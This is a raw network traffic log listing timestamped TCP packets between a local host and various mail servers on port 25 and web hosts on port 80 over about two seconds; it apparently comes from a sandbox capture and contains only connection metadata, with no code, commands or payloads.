Oct 31, 2022 12:19:36.110760927 CET	80	49750	63.251.126.10	192.168.2.5
Oct 31, 2022 12:19:36.110852003 CET	49750	80	192.168.2.5	63.251.126.10
Oct 31, 2022 12:19:36.111432076 CET	49750	80	192.168.2.5	63.251.126.10
Oct 31, 2022 12:19:36.133743048 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.137105942 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.137223959 CET	49753	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:36.147090912 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.147233963 CET	49752	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:36.147371054 CET	49754	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:19:36.184072971 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.187148094 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.187299013 CET	49752	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:36.195347071 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.195485115 CET	49753	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:36.224138021 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.253905058 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.253962040 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.256458998 CET	49753	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:36.308218002 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:36.308303118 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:36.318110943 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.318392992 CET	49753	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:36.321156979 CET	25	49754	198.252.153.129	192.168.2.5
Oct 31, 2022 12:19:36.321307898 CET	49754	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:19:36.378994942 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.379173040 CET	49753	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:36.408241987 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.408585072 CET	49752	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:36.438373089 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.438657999 CET	49753	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:36.441771030 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.448988914 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.472667933 CET	49752	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:36.472965956 CET	49753	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:36.489499092 CET	49752	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:36.495853901 CET	25	49754	198.252.153.129	192.168.2.5
Oct 31, 2022 12:19:36.496053934 CET	49754	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:19:36.509120941 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.520823956 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.520843983 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.520857096 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.520869970 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.520883083 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.520896912 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.520910978 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.520925045 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.520939112 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.520952940 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.520966053 CET	49752	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:36.521024942 CET	49752	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:36.521058083 CET	49752	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:36.531233072 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.531383991 CET	49753	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:36.532234907 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.532330036 CET	49753	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:36.538940907 CET	80	49750	63.251.126.10	192.168.2.5
Oct 31, 2022 12:19:36.552155972 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.552184105 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.552196026 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.552211046 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.552270889 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.552283049 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.552294016 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.552295923 CET	49752	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:36.552305937 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.552318096 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.552329063 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.552340984 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.552347898 CET	49752	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:36.552352905 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.552366018 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.552376986 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.552381039 CET	49752	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:36.552390099 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.552402973 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.552414894 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.552426100 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.552438021 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.583623886 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.583668947 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.583684921 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.583707094 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.583736897 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.583766937 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.583828926 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.583844900 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.583861113 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.583875895 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.583890915 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.583908081 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.583923101 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.583940983 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.583956003 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.583971977 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.583983898 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.589745998 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.589795113 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.589873075 CET	49753	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:36.589873075 CET	49753	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:36.589884996 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.589939117 CET	49753	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:36.589951992 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.590009928 CET	49753	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:36.590639114 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.590658903 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.590675116 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.611696959 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.611728907 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.611792088 CET	49752	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:36.611840010 CET	49752	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:19:36.612842083 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:36.612940073 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:36.643265009 CET	25	49752	142.250.147.26	192.168.2.5
Oct 31, 2022 12:19:36.646178007 CET	49767	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:36.646943092 CET	49768	80	192.168.2.5	81.17.29.149
Oct 31, 2022 12:19:36.649131060 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.649167061 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.649187088 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.649205923 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.649378061 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.649430037 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.649488926 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.649508953 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:36.662363052 CET	80	49768	81.17.29.149	192.168.2.5
Oct 31, 2022 12:19:36.662558079 CET	49768	80	192.168.2.5	81.17.29.149
Oct 31, 2022 12:19:36.662755966 CET	49768	80	192.168.2.5	81.17.29.149
Oct 31, 2022 12:19:36.669919968 CET	25	49754	198.252.153.129	192.168.2.5
Oct 31, 2022 12:19:36.673604012 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:36.675441980 CET	49767	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:36.678061962 CET	80	49768	81.17.29.149	192.168.2.5
Oct 31, 2022 12:19:36.704665899 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:36.704885960 CET	49767	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:36.732157946 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:36.735302925 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:36.735625029 CET	49767	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:36.763309002 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:36.763498068 CET	49767	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:36.795234919 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:36.797885895 CET	25	49754	198.252.153.129	192.168.2.5
Oct 31, 2022 12:19:36.800865889 CET	49754	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:19:36.901762009 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:36.908782005 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:36.944089890 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:36.945113897 CET	49767	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:36.972748995 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:36.972799063 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:36.973117113 CET	49767	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:36.974639893 CET	25	49754	198.252.153.129	192.168.2.5
Oct 31, 2022 12:19:36.974725008 CET	25	49754	198.252.153.129	192.168.2.5
Oct 31, 2022 12:19:36.975857973 CET	49767	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:36.983808994 CET	80	49768	81.17.29.149	192.168.2.5
Oct 31, 2022 12:19:36.983849049 CET	80	49768	81.17.29.149	192.168.2.5
Oct 31, 2022 12:19:36.983941078 CET	49768	80	192.168.2.5	81.17.29.149
Oct 31, 2022 12:19:36.991323948 CET	49754	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:19:37.003303051 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.003341913 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.003357887 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.003375053 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.003395081 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.003410101 CET	49767	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:37.003514051 CET	49767	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:37.003541946 CET	49767	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:37.005439997 CET	49768	80	192.168.2.5	81.17.29.149
Oct 31, 2022 12:19:37.009303093 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.012917995 CET	49767	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:37.021162033 CET	80	49768	81.17.29.149	192.168.2.5
Oct 31, 2022 12:19:37.030739069 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.030761957 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.030774117 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.030786037 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.030797958 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.030810118 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.030822992 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.030833960 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.030844927 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.030847073 CET	49767	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:37.030847073 CET	49767	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:37.030857086 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.030868053 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.030930042 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.030942917 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.030951977 CET	49767	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:37.030951977 CET	49767	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:37.031023026 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.031055927 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.031066895 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.031078100 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.031089067 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.040396929 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.040441990 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.055604935 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:37.055970907 CET	49753	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:37.058079004 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.058110952 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.058135986 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.058160067 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.058186054 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.058211088 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.058235884 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.058259964 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.058284044 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.058309078 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.058332920 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.058377981 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.058404922 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.058429003 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.058453083 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.058478117 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.058502913 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.058528900 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.061192036 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.061220884 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.061337948 CET	49767	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:37.061383009 CET	49767	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:37.115083933 CET	25	49753	217.69.139.150	192.168.2.5
Oct 31, 2022 12:19:37.115180969 CET	49753	25	192.168.2.5	217.69.139.150
Oct 31, 2022 12:19:37.116808891 CET	49771	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:37.150537014 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.150748968 CET	49771	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:37.165388107 CET	25	49754	198.252.153.129	192.168.2.5
Oct 31, 2022 12:19:37.165534973 CET	49754	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:19:37.193526030 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.193861961 CET	49771	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:37.196785927 CET	49773	80	192.168.2.5	81.17.18.196
Oct 31, 2022 12:19:37.212264061 CET	80	49773	81.17.18.196	192.168.2.5
Oct 31, 2022 12:19:37.212359905 CET	49773	80	192.168.2.5	81.17.18.196
Oct 31, 2022 12:19:37.212553024 CET	49773	80	192.168.2.5	81.17.18.196
Oct 31, 2022 12:19:37.227513075 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.227761984 CET	80	49773	81.17.18.196	192.168.2.5
Oct 31, 2022 12:19:37.230906010 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.238675117 CET	49771	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:37.270036936 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:37.272947073 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.273284912 CET	49771	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:37.311851025 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.339700937 CET	25	49754	198.252.153.129	192.168.2.5
Oct 31, 2022 12:19:37.343170881 CET	49754	25	192.168.2.5	198.252.153.129
Oct 31, 2022 12:19:37.364289045 CET	49767	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:19:37.391603947 CET	25	49767	142.250.153.27	192.168.2.5
Oct 31, 2022 12:19:37.442964077 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:37.447278023 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:37.458831072 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.466542959 CET	49771	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:37.500324965 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.500883102 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.501149893 CET	49771	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:37.503066063 CET	49771	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:37.537405968 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.537453890 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.537637949 CET	49771	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:37.537878990 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.537902117 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.537919998 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.538019896 CET	49771	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:37.571422100 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.571470976 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.571491957 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.571512938 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.571532011 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.571588039 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.571647882 CET	49771	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:37.571667910 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.571707964 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.571724892 CET	49771	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:37.571819067 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.571882010 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.576055050 CET	80	49773	81.17.18.196	192.168.2.5
Oct 31, 2022 12:19:37.576169014 CET	80	49773	81.17.18.196	192.168.2.5
Oct 31, 2022 12:19:37.576385975 CET	49773	80	192.168.2.5	81.17.18.196
Oct 31, 2022 12:19:37.578990936 CET	49773	80	192.168.2.5	81.17.18.196
Oct 31, 2022 12:19:37.594396114 CET	80	49773	81.17.18.196	192.168.2.5
Oct 31, 2022 12:19:37.605336905 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.605360031 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.605485916 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.605500937 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.605513096 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.605549097 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.605643988 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.605770111 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.605784893 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.610344887 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.610402107 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.610483885 CET	49771	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:37.610524893 CET	49771	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:19:37.644002914 CET	25	49771	74.125.140.27	192.168.2.5
Oct 31, 2022 12:19:37.644589901 CET	49775	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:37.699743986 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:37.699862957 CET	49775	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:37.800183058 CET	49780	80	192.168.2.5	81.17.29.150
Oct 31, 2022 12:19:37.808377981 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:37.810452938 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:37.810605049 CET	49775	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:37.815795898 CET	80	49780	81.17.29.150	192.168.2.5
Oct 31, 2022 12:19:37.815893888 CET	49780	80	192.168.2.5	81.17.29.150
Oct 31, 2022 12:19:37.816041946 CET	49780	80	192.168.2.5	81.17.29.150
Oct 31, 2022 12:19:37.831419945 CET	80	49780	81.17.29.150	192.168.2.5
Oct 31, 2022 12:19:37.836476088 CET	80	49780	81.17.29.150	192.168.2.5
Oct 31, 2022 12:19:37.836518049 CET	80	49780	81.17.29.150	192.168.2.5
Oct 31, 2022 12:19:37.836641073 CET	49780	80	192.168.2.5	81.17.29.150
Oct 31, 2022 12:19:37.837357998 CET	49780	80	192.168.2.5	81.17.29.150
Oct 31, 2022 12:19:37.852813959 CET	80	49780	81.17.29.150	192.168.2.5
Oct 31, 2022 12:19:37.865070105 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:37.875242949 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:37.892488956 CET	49775	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:37.947436094 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:37.947695971 CET	49775	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:37.979062080 CET	25	49751	74.125.200.26	192.168.2.5
Oct 31, 2022 12:19:37.982647896 CET	49751	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:19:38.008141041 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.116621971 CET	49786	80	192.168.2.5	81.17.18.196
Oct 31, 2022 12:19:38.132122040 CET	80	49786	81.17.18.196	192.168.2.5
Oct 31, 2022 12:19:38.132203102 CET	49786	80	192.168.2.5	81.17.18.196
Oct 31, 2022 12:19:38.132529974 CET	49786	80	192.168.2.5	81.17.18.196
Oct 31, 2022 12:19:38.147948027 CET	80	49786	81.17.18.196	192.168.2.5
Oct 31, 2022 12:19:38.154005051 CET	80	49786	81.17.18.196	192.168.2.5
Oct 31, 2022 12:19:38.154047012 CET	80	49786	81.17.18.196	192.168.2.5
Oct 31, 2022 12:19:38.154257059 CET	49786	80	192.168.2.5	81.17.18.196
Oct 31, 2022 12:19:38.154257059 CET	49786	80	192.168.2.5	81.17.18.196
Oct 31, 2022 12:19:38.169691086 CET	80	49786	81.17.18.196	192.168.2.5
Oct 31, 2022 12:19:38.171907902 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.172060013 CET	49775	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:38.226353884 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.226752996 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.226902008 CET	49775	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:38.242187023 CET	49775	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:38.286988020 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.297350883 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.297379017 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.297391891 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.297404051 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.297415018 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.297425985 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.297489882 CET	49775	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:38.297489882 CET	49775	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:38.297597885 CET	49775	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:19:38.297785044 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.297801971 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.297818899 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.297833920 CET	25	49775	142.250.150.27	192.168.2.5
Oct 31, 2022 12:19:38.297858000 CET	49775	25	192.168.2.5	142.250.150.27
